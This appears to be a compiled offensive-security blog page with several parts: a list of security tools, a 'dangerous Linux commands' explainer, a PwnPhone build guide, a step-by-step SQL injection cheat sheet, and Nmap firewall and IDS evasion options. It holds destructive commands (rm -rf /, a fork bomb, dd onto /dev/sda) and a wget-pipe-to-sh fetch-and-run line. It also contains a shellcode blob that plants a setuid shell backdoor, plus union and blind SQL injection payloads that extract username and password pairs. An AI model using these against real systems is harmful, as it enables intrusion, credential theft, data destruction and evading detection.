51 Tools for Security Analysts - Offensive Sec

Reading this list may be worrying or intimidating for readers who don’t work in the security industry. You should know that all tools on this list are free and publicly accessible. They are also well known within the professional security community and among malicious actors. This list of tools, software and utilities should empower anyone interested in protecting themselves and their online assets by making you aware of the capabilities that exist for analysts and malicious actors. By better understanding the tools that your adversary uses, you can better protect yourself.

Information gathering and analysis

Google dorks – Using advanced operators in the Google search engine to locate specific strings of text within search results.

Using Google for penetration or malicious activity may seem silly or obvious, but Google is incredibly powerful and very popular among analysts and malicious actors alike. “Google dorks”, or google-hacks as they’re also known, are a search query that attackers use on Google to identify targets. If you visit a site like exploit-db.com or any other database of exploits, you’ll find that many of them include Google dorks to help find targets to attack with the exploit.

Maltego – An interactive data mining tool that renders directed graphs for link analysis.
Maltego is one of our favorites. It is an investigator’s tool that lets you graphically organize your thoughts and your investigation by creating objects (people, places, devices, events) and link them. It also gives you the ability to run ‘transforms’ on objects. For example, you can run transforms on an IP address to list its malicious activity using external sources of threat intelligence. You can download a free version from Paterva which has some limitations.
You can see an example of the work we do with Maltego below.

FOCA – A tool used to find metadata and hidden information in the documents its scans.
When you create and publish MS Office, PDF, EPS and PS documents online, you may not realize how much information you are leaking to the general public. FOCA is a security analyst’s tool that can be used to extract ‘leaked’ data from documents that have been made public. Using FOCA, an analyst can find things like an organization’s network structure, IP addresses, internal server names, printers, shared folders, access control lists and more. You can watch this video filmed at DefCon 17 for a demo of how FOCA can be used by researchers or malicious actors to perform recon on a target organization or individual.

http://checkusernames.com/ – Check the use of a brand or username on 160 social networks.
If you simply want to find a unique username, checkusernames.com is a useful tool. If you are in the security field, it can be a powerful way to attribute an attack to a specific individual. Malware authors occasionally include usernames or ‘hacker names’ in their malware. Using this tool you can search 160 online services to see if they have used the same username somewhere else.

https://haveibeenpwned.com/ – Check if an account has been compromised in a data breach.
The term ‘pwned’ is slang for ‘owned’ which in the security industry means “to have your data or system compromised”. So ‘haveibeenpwned.com’ is slang for “Have I been owned dot com”. This is a well known and respected site run by Troy Hunt which finds and aggregates data from data breaches. You can use the service to find out if an account has been compromised by looking up your email or username.

https://www.beenverified.com/ – Search people & public records.
This is a general “people search” that is useful to find additional meta-data when researching a target during penetration testing or when researching an attacker.

Shodan – Search engine for Internet-connected devices.
This is a very popular service among security researchers. Shodan continually crawls and indexes devices on the internet. We recently used Shodan as part of our research into routers at several ISPs around the world that have been hacked and are now attacking WordPress. You can find a few example searches demonstrating Shodans use on their ‘explore’ page.

Censys – A search engine that allows computer scientists to ask questions about the devices and networks that compose the internet.
Censys is similar to Shodan in that it indexes devices and websites connected to the internet. The data is also searchable and differs from Shodan in some ways. Shodan is focused on ports and the services running on those ports. Censys is great at indexing web site SSL certificates among other things. Censys is maintained by a team of computer scientists at the University of Michigan and University of Illinois Urbana-Champaign.

Gephi – Visualization and exploration software for all kinds of graphs and networks.
We mentioned Maltego earlier in this post. It uses a ‘graph’ structure which is a diagram of linked objects to represent relationships. Gephi is a tool to analyze graph data at massive scale. We used Gephi to generate the graphical representations of attack data that we published in our February Attack report, seen below.


Fierce – A DNS reconnaissance tool for finding target IPs associated with a domain.
Fierce is a tool used to find IP addresses that are potential attack targets associated with a specific domain. It is used by penetration testers when evaluating insecure points on a network.

BuiltWith – Find out what websites are built with.
BuiltWith has a search engine-like interface and lets you search for a specific site to find out what tools were used to build it. BuiltWith also aggregates that data so that you can find out what the most popular technologies are on the web or how a specific technology is trending relative to another.

Wappalyzer – A cross-platform utility that uncovers the technologies used on websites.
Wappalyzer is another tool that helps you discover what technologies a specific site is using. Like BuiltWith, they also aggregate data to help you determine how technologies are trending. This is their view of the popularity of blog technologies, with WordPress clearly the market leader.


Wappalyzer Chrome extension
Wappalyzer also has a browser extension for Chrome that lets you immediately see the technologies a specific site is using. There is also a Python driver available on github called python-Wappalyzer.

https://aw-snap.info/ – Tools for owners of hacked websites to help find malware and recover their site.
aw-snap.info includes a suite of tools that may be helpful for site owners who have decided to try to clean their own hacked site. It can help you fetch pages as Google, which sometimes reveals malware. It can also decode base64 obfuscated malware and help find obfuscation in your files that may hide malware.

http://themecheck.org/ – A quick service that lets you verify WordPress themes for security and code quality.
ThemeCheck may help you verify your theme integrity by uploading it. It can also help find malware embedded in themes.

theHarvester – Gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN.
This is a tool that performs a variety of reconnaissance operations on an organization and may be useful in the early stages of a penetration test to determine an organization’s overall online footprint.

Cymon.io – Tracker of malware, phishing, botnets, spam, and more.
Cymon can help you research a potentially malicious IP or malware hash. 

Mnemonic – A passive DNS database.
Mnemonic is a useful tool that can find which websites are hosted at a specific IP or which IPs host a website.

Vulnerability scanning and penetration testing

WPScan – A black box WordPress vulnerability scanner.
WPScan is a command line tool that is used to remotely scan WordPress sites for vulnerabilities.

Sqlmap – An open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers.

SQLMap is widely used among penetration testers and is highly effective at finding and exploiting SQL injection vulnerabilities in target sites.

BeEF – A penetration testing tool that focuses on the web browser.
BeEF is a powerful tool that lets penetration testers exploit and control a web browser. Using BeEF you can set up a malicious website, exploit a visiting browser and gain access to the workstation running the browser. You can watch this 2014 KiwiCon video for a demo.

Firefox Hackbar – A simple security audit / penetration test tool.

Hackbar is a plugin for Firefox that may help application developers perform security audits on their own web applications. It includes a variety of tools to assist with this task.
Burp Suite – Software for web security testing.

Burp Suite is a very well known and powerful framework used to perform security audits and analysis on web applications. It includes a proxy that can intercept traffic and allow you to modify it on the fly. It includes a huge variety of exploit and penetration testing tools.

OpenVAS – An open source vulnerability scanner and manager.
You have probably heard of the vulnerability scanning tool Nessus. Back in 2005 Tenable Network Security changed the Nessus open source license to a closed source one. The developers forked the project at that time and created OpenVAS.
I’ve found that OpenVAS can be quite effective, but it is a bit more challenging to set up than Nessus. OpenVAS does have the advantage of being completely free and open source. The project is well known throughout the online security community.

Fiddler – A free web debugging proxy.
Fiddler is a proxy server that lets you intercept requests to a website, view them in different ways, modify the requests and can help debug websites and perform security audits.

Joomscan – Detect Joomla CMS vulnerabilities and analyze them.
Joomscan is the Joomla CMS’s equivalent of wpscan.

Kum0nga – A simple Joomla scan.
This is another joomla vulnerability scanner.

Arachni – A feature-full, modular, high-performance Ruby framework aimed towards helping penetration testers and administrators evaluate the security of modern web applications.
Arachni is a framework to perform detailed vulnerability scanning on web applications.

Forensics and log analysis

Lnav – An advanced log file viewer.
Lnav is short for log file navigator. It automatically detects your log file formats, provides syntax highlighting and a host of other features to view and analyze log files. It can be invaluable when analyzing a compromised website.

Mandiant Highlighter – A free log file analysis tool.
Mandiant (now owned by Fireeye) produced this useful product that can help analyze log files. It includes the ability to graphically view a histogram of log files and several other powerful log file analysis features.

Wp-file-analyser – Find modified, missing and extra files in a WordPress directory.
This utility can download the original versions of WordPress core and plugin files and can help you compare them against their originals.

Auditd – Access monitoring and accounting for Linux.
Access monitoring and logging/accounting is very helpful when monitoring a system to see if it is being attacked or performing an investigation after the attack. Auditd can help you improve logging and provide an audit trail on Linux.

Araxis Merge – Advanced 2 and 3-way file comparison (diff), merging and folder synchronization.
When responding to a hack, the ability to compare files to originals to determine what has changed is important. Araxis Merge is a powerful tool that can assist with this.

WinMerge – An Open Source differencing and merging tool for Windows.
Much like Araxis Merge, WinMerge can help you compare files to examine changes when responding to an incident.

DiffNow – Compare files online.
DiffNow is a web based file ‘diff’ tool that can also assist when comparing file differences during incident response.

Code and malware analysis

CyberChef – the Cyber Swiss Army Knife
CyberChef is a tool that is developed by GCHQ, the British intelligence agency. It can help de-obfuscate malware and other code.

UnPHP – A free service for analyzing obfuscated and malicious PHP code.
Obfuscating (hiding/garbling) PHP is a favorite tool of hackers, UnPHP can help analyze obfuscated code.

UnPacker – JavaScript unpacker.

Jsunpack – A generic JavaScript unpacker.
‘Packing’ javascript is a favorite technique of hackers who are dropping malicious javascript on websites. It makes their code more compact and harder to read. Jsunpack can help de-obfuscate JS code to make it more readable so that you can understand how it operates.

JSBeautifier – An online JavaScript beautifier.
Much like Jsunpack, JSBeautifier helps improve the readability of packed javascript code.

https://www.base64decode.org/ – Base64 Decode and Encode
Base64 encoding is a way to encode anything into an encoded string of (what appears to be) random characters. Anyone who is repairing hacked sites or responding to incidents uses base64 decoding several times a day to expose malicious code that has been base64 encoded. This tool can help decode base64 encoding.

https://www.urldecoder.org/ – URL Decode and Encode
URL encoding is also a popular way for hackers to hide their code, through encoding it using this form of encoding. urldecoder.org can help you decode malicious code that has been hidden using urlencoding.

http://lombokcyber.com/en/detools/decode-sourcecop – Decode SourceCop v3.x
This is a tool that decodes a specific type of PHP encoding that may prove useful during a hacked site investigation.

Other tools

regex101 – Develop and test regular expressions.
Regex, or regular expressions, are pattern matching routines to find complex patterns in files and code. 

regexpal – Another site to develop and test regular expressions.
Both regex101 and regexpal provide online development environments to help you create or analyze regular expressions.

HashKiller – Online hash cracking service. Useful to reverse engineer hashes into passwords.
In most systems, passwords are stored as hashes. Malware authors occasionally use hashing to store their own passwords. In our research we have needed to crack hashes that are used by malware authors in order to read their source code. HashKiller can help reverse a hash into a password if you need to crack a hash as part of your malware analysis.

Noscript – Noscript is a Firefox extension that allows Javascript, Java and Flash to only be executed by websites that you define and trust.
When visiting malicious websites, Noscript can help disable malicious code on that site. Note that you should always visit a malicious site that you are analyzing using a virtual machine that has no important data on it. If the VM gets infected, you can simply destroy it without worrying about important data being leaked. Using Noscript in your browser within your virtual environment can be useful when analyzing the function of a hacked site.

Other lists of tools

• Awesome Forensics – A curated list of awesome free (mostly open source) forensic analysis tools and resources.
• 
  
• awesome-incident-response – A curated list of tools and resources for security incident response, aimed to help security analysts and DFIR teams.
• 
  
• OSINT Framework – OSINT is short for ‘open source intelligence’. This site provides a graphical directory of OSINT resources.
• 
  

Kali Linux

Kali Linux is a linux distribution that is the favorite of penetration testers and security analysts world-wide. It is a linux distribution that comes packed with security analysis tools. If you want to learn about cyber security, Kali should be one of your starting points. If you simply would like to know about some of the more important tools that Kali provides, you can use the list below.
Kali Linux Tools Listing – All the tools in Kali Linux, a Linux variant used by penetration testers and security analysts.

Conclusion

The tools on this page can help you respond to an incident, test the security of your own website and better understand how attackers think and what tools they have available to them. As always I welcome your feedback in the comments and you are most welcome to suggest your own favorite security or analysis tools.

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Dangerous Linux Commands

rm -rf Command

The rm -rf command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with rm command are.

1. rm command in Linux is used to delete files.
2. rm -r command deletes the folder recursively, even the empty folder.
3. rm -f command removes ‘Read only File’ without asking.
4. rm -rf / : Force deletion of everything in root directory.
5. rm -rf * : Force deletion of everything in current directory/working directory.
6. rm -rf . : Force deletion of current folder and sub folders.

Hence, be careful when you are executing rm -rf command. To overcome accidental delete of file by ‘rm‘ command, create an alias of ‘rm‘ command as ‘rm -i‘ in “.bashrc” file, it will ask you to confirm every deletion.

:(){:|:&};: Command

This command is actually a fork bomb. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.

:(){:|:&};:

command > /dev/sda

The above example writes the output of ‘command‘ on the block /dev/sda. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.

mv folder /dev/null

The mv command will move ‘folder‘ to /dev/null. In Linux /dev/null or null device is a special file that discards all the data written to it and reports that write operation succeed.

# mv /home/user/* /dev/null

The above command will move all the contents of a User directory to /dev/null, which literally means everything there was sent to blackhole (null).

wget http://malicious_source -O- | sh

This wget example will download a script from a malicious source and then execute it.

mkfs.ext3 /dev/sda

The example will format the ‘sda’. After execution of the above command your Hard Disk Drive would be marked as ‘NEW’, You would be left without any data and in unrecoverable system stage.

> file

This command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> xt.conf” it would ‘flush’ a configuration file or any other system file.

^foo^bar

This command is used to edit the previous run command without the need of retyping the whole command again. This can really be really dangerous.

dd if=/dev/random of=/dev/sda

This dd will wipe out the block device sda and write random junk. Your system would be left at inconsistent and unrecoverable stage.

Hidden Command

The command bellow is nothing more than a rm -rf. Here, the command is hidden in in hex and the user may be fooled into running it. Running this code will wipe your root partition. This command here shows that the threat may be hidden and not normally detectable sometimes.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

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Build Your Own - PwnPhone

Build Your Own PwnPhone

We’ll attempt to show you how to build your own Pwn Phone running the Kali operating system and our AOPP (Android Open Pwn Project) image.

Let’s get cracking…

Flashing the Phone

1. Download the Recovery image for your device:
   https://twrp.me/Devices
2. Connect the device to the host machine via USB cable.
3. Power off the device and boot into the Bootloader:
   Press and hold the Power & Volume-Down buttons
4. Confirm the device is recognized by the host machine:
   (a device should be listed when the command returns)
   $ fastboot devices
5. Unlock the device:$ fastboot oem unlock
6. Once unlocked, flash the Recovery image:$ fastboot flash recovery <name-of-recovery-image>.img
7. Once the Recovery image has been flashed, boot into Recovery from the Bootloader:
   Use the Volume-Down/Up buttons to cycle through the Bootloader options and then the Power button to select
8. If prompted, swipe “Swipe to Allow Modifications”.
9. Once in Recovery, wipe the device:
   Tap Wipe > Advanced Wipe > tap: Dalvik/ART cache, System, Cache, Data > swipe “Swipe to Wipe”
10. Once wiped, do NOT boot into System (You don’t have one; you just wiped it). Tap the Home button to return to the Recovery home screen.
11. Confirm again the device is recognized by the host machine:
    (a device should be listed when the command returns)$ adb devices
12. From the host machine, push the downloaded AOPP ROM zip to the device sdcard:
    $ adb push <name-of-rom-zip>.zip /sdcard/
13. On device, tap Install and then select the AOPP ROM zip from /sdcard.
14. Swipe “Swipe to Confirm Flash”
15. Once installed, tap “Reboot System”

OK Now Let’s Build the Phone

Downloading the Source

1. Refer to “Downloading and Building Requirements” before proceeding:
   https://source.android.com/source/requirements.html
2. Refer to “Downloading the Source” before proceeding:
   https://source.android.com/source/downloading.html
3. Create a directory for the build system to live in and cd into that directory:$ mkdir <WORKING_DIR>$ cd <WORKING_DIR>
4. Initialize a local repository using this source tree, use the command:
   $ repo init -u git@github.com:aopp/android_platform.git -b px-0.1
5. Sync the repository, use:
   $ repo sync

Building

Devices are referred to by codename (e.g. hammerhead). Make sure to use this when substituting <device-codename> in the following instruction set.

1. Refer to “Building the System” before proceeding:
   https://source.android.com/source/building.html
   
2. To initialize the build environment, use the following command:$ . build/envsetup.sh
3. Prepare the build environment (download device-tree and dependencies) for your specific device:$ breakfast <device-codename>
4. Connect the device running a working AOPP/AOSP ROM to the host machine via USB.
5. Make sure it is booted into system and confirm the device is recognized by the host machine:
   (a device should be listed when the command returns)$ adb devices
6. Enter the device directory:$ cd <WORKING_DIR>/device/<vendor>/<device-codename>/
7. Extract the proprietary binaries from your device:$ ./extract-files.sh
8. Return to the root of the build system:$ croot
9. Start a build run for your device:
   $ brunch <device-name>
10. Once complete, the ROM zip can be found in the out/ directory:$ cd /out/target/product/<device-codename>
11. The flashable ROM zip (product of the build run) will be located in the out/ directory as:
    aopp-0.1-<build-date>-UNOFFICIAL-<device-codename>.zip

Flashing

1. Download and install the command line tools for your OS: https://developer.android.com/studio/index.html#downloads
   
2. Download the AOPP ROM for your device:
   https://wiki.pwnieexpress.com/index.php/Official_devices
   
3. Download the Recovery image for your device:
   https://twrp.me/Devices
   
4. Connect the device to the host machine via USB cable.
5. Power off the device and boot into the Bootloader:
   Press and hold the Power & Volume-Down buttons
6. Confirm the device is recognized by the host machine:
   (a device should be listed when the command returns)
$ fastboot devices
7. Unlock the device:
$ fastboot oem unlock
8. Once unlocked, flash the Recovery image:$ fastboot flash recovery <name-of-recovery-image>.img
9. Once the Recovery image has been flashed, boot into Recovery from the Bootloader:
   Use the Volume-Down/Up buttons to cycle through the Bootloader options and then the Power button to select
10. If prompted, swipe “Swipe to Allow Modifications”.
11. Once in Recovery, wipe the device:
    Tap Wipe > Advanced Wipe > tap: Dalvik/ART cache, System, Cache, Data > swipe “Swipe to Wipe”
12. Once wiped, do NOT boot into System (You don’t have one; you just wiped it). Tap the Home button to return to the Recovery home screen.
13. Confirm again the device is recognized by the host machine:
    (a device should be listed when the command returns)$ adb devices
14. From the host machine, push the downloaded AOPP ROM zip to the device sdcard:$ adb push <name-of-rom-zip>.zip /sdcard/
15. On device, tap Install and then select the AOPP ROM zip from /sdcard.
16. Swipe “Swipe to Confirm Flash”
17. Download SuperSU from Chainfire here:
    https://download.chainfire.eu/969/SuperSU/UPDATE-SuperSU-v2.76-20160630161323.zip
18. Push the SuperSU zip to /sdcard/:
    $ adb push <SuperSU-zip-name>.zip /sdcard/
19. Once installed, tap “Reboot System”
20. Hack the Gibson…and remember…hugs are worth more than handshakes

Source: pwnieexpress

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Full SQL Injections - Cheatsheet

[1]* -Introducing The SQL Injection Vuln:

SQL injection attacks are known also as SQL insertion
it's in the form of executing some querys in the database and getting acces to informations (SQL Vesion, Number & Names of tables and columns,some authentification infos,ect...)

[2]* -Exploiting Sql Injection Vuln :

Before proceeding to the exploitation of sql injections we have to checking for this vulnerability, so we have an exemple

http://www.website.com/articles.php?id=3

for checking the vulnerability we have to add ' (quote) to the url , lets see together

http://www.website.com/articles.php?id=3'

now, if we get an error like this "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."

this website is vulnerable to sql injection, and if we don't get anything we can't exploiting this vulnerability.

Now, Lets go to exploiting this vuln and finding some informations about this sql database


certainly before doing anything we have to find the number of columns

[-] Finding the number of columns:

for finding the number of columns we use ORDER BY to order result in the database

lets see that ,

http://www.website.com/articles.php?id=3 order by 1/*

and if we havn't any error we try to change the number

http://www.website.com/articles.php?id=3 order by 2/*

still no error,so we continu to change the number

http://www.website.com/articles.php?id=3 order by 3/*

no error to

http://www.website.com/articles.php?id=3 order by 4/*

no error

http://www.website.com/articles.php?id=3 order by 5/*

yeah , here we have this error (Unknown column '5' in 'order clause')

so, this database has 4 colmuns because the error is in the 5

now, we try to check that UNION function work or not

[-] Checking UNION function :

for using UNION function we select more informations from the database in one statment

so we try this

http://www.website.com/articles.php?id=3 union all select 1,2,3,4/* (in the end it's 4 because we have see the number of columns it's 4)

now, if we see some numbers in the page like 1 or 2 or 3 or 4 == the UNION function work

if it not work we try to change the /* to --

so we have this

http://www.website.com/articles.php?id=3 union all select 1,2,3,4--

after checking the UNION function and it works good we try to get SQL version

[-] Getting SQL Version :

now we have a number in the screen after checking the UNION

we say in example that this number is 3

so we replace 3 with @@version or version()

http://www.website.com/articles.php?id=3 union all select 1,2,@@version,4/*

and now we have the version in the screen!

lets go now to get tables and columns names


[-] Getting tables and columns names :

here we have a job to do!!

if the MySQL Version is < 5 (i.e 4.1.33, 4.1.12...)

lets see that the table admin exist!

http://www.website.com/articles.php?id=3 union all select 1,2,3,4,5 from admin/*

and here we see the number 3 that we had in the screen

now, we knows that the table admin exists

here we had to check column names:

http://www.website.com/articles.php?id=3 union all select 1,2,username,4,5 from admin/*

if we get an error we have to try another column name

and if it work we get username displayed on screen (example: admin,moderator,super moderator...)

after that we can check if column password exists

we have this

http://www.website.com/articles.php?id=3 union all select 1,2,password,4,5 from admin/*

and oups! we see password on the screen in a hash or a text

now we have to use 0x3a for having the informations like that username:password ,dmin:unhash...

http://www.website.com/articles.php?id=3 union all select 1,2,concat(username,0x3a,password),4,5 from admin/*

this is the sample SQL Injection , now, we will go to the blind sql injection (more difficult)


[3]* -Exploiting Blind SQL Injection Vuln :

first we should check if website is vulnerable for example

http://www.website.com/articles.php?id=3

and to test the vulnerability we had to use

http://www.website.com/articles.php?id=3 and 1=1 ( we havn't any error and the page loads normally)

and now

http://www.website.com/articles.php?id=3 and 1=2

here we have some problems with text, picture and some centents ! and it's good! this website is vulnerable for Blind SQL Injection

we have to check MySQL Version

[-] Getting MySQL Version :

we use substring in blind injection to get MySQL Version

http://www.website.com/articles.php?id=3 and substring(@@version,1,1)=4

we should replace the 4 with 5 if the version is 5

http://www.website.com/articles.php?id=3 and substring(@@version,1,1)=5

and now if the function select do not work we should use subselect and we should testing if it work

[-] Testing if subselect works :

http://www.website.com/articles.php?id=3 and (select 1)=1 ( if the page load normaly the subselect works good)

and now we have to see if we have access to mysql.user

http://www.website.com/articles.php?id=3 and (select 1 from mysql.user limit 0,1)=1 (if it load normaly we have access to mysql.user)

now, we can checking table and column names

[-] Checking table and column names :

http://www.website.com/articles.php?id=3 and (select 1 from users limit 0,1)=1

if the page load normaly and no errors the table users exists

now we need column name

http://www.website.com/articles.php?id=3 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page load normaly and no errors the column password exists

now we have the table and the column , yeah, we can exploiting the vunlnerability now

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

the page load normaly and no errors,so we need to change the 80 for having an error

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>90

no errors ! we continu

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Yeah!! an error

the character is char(99). we use the ascii converter and we know that char(99) is letter 'c'

to test the second character we change ,1,1 to ,2,1

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

the page load normaly

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

the page loads normally, higher !!!

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

error ! lower number

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

Error That we search!!

now, we know that the second character is char(105) and that is 'i' with the ascii converter. We have 'ci' now from the first and the second charactets

our tutorial draws to the close!

Thanks you for reading and i hope that you have understand SQL Injection and exploitations of this vulnerability .

Source: www.exploit-db.com

By OffensiveSec

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Firewall and IDS Evasion / Bypassing the Firewalls and IDS/IPS - NMAP Scanning Tutorial

This post is for penetration testers that face issues with scanning the Corporate networks with firewalls deployed and are unable to bypass the Firewall or an IDS/IPS .
Firewall is generally a software or hardware to protect private network from public network.This is a trouble maker for the Penetration testers as they are not able to bypass this added layer of security .
Well the good news here is that we can use Nmap options to bypass the firewalls , IDS/IPS .
If a penetration tester can bypass firewall then half game is won for the penetration tester. In this tutorial you will learn how to bypass and test firewall using the NMAP options.

NMAP options to Bypass the Firewall :

• -f (fragment packets):

This option is to make it harder to detect the packets. By specifying this option once, Nmap will split the packet into 8 bytes or less after the IP header. This makes the detection of Nmap sent packets difficult .

• –mtu:

With this option, you can specify your own packet size fragmentation. The Maximum Transmission Unit (MTU) must be a multiple of eight or Nmap will give an error and exit. This helps in Firewall Evasion .

• -D (decoy):

By using this option, Nmap will send some of the probes from the spoofed IP addresses specified by the user. The idea is to mask the true IP address of the user in the logfiles. The user IP address is still in the logs. You can use RND to generate a random IP address or RND:number to generate the <number> IP address. The hosts you use for decoys should be up, or you will flood the target. Also remember that by using many decoys you can cause network congestion, so you may want to avoid that especially if you are scanning your client network.

• –source-port <portnumber> or –g (spoof source port):

This option will be useful if the firewall is set up to allow all incoming traffic that comes from a specific port.

• –data-length:

This option is used to change the default data length sent by Nmap in order to avoid being detected as Nmap scans.

• –max-parallelism:

This option is usually set to one in order to instruct Nmap to send no more than one probe at a time to the target host.

• –scan-delay <time>:

This option can be used to evade IDS/IPS that uses a threshold to detect port scanning activity. Setting the Scan delay is always a good idea when you want to evade any security device .

Sources : Nmap.org

OffSec 

http://nmap.org/book/man-bypass-firewalls-ids.html

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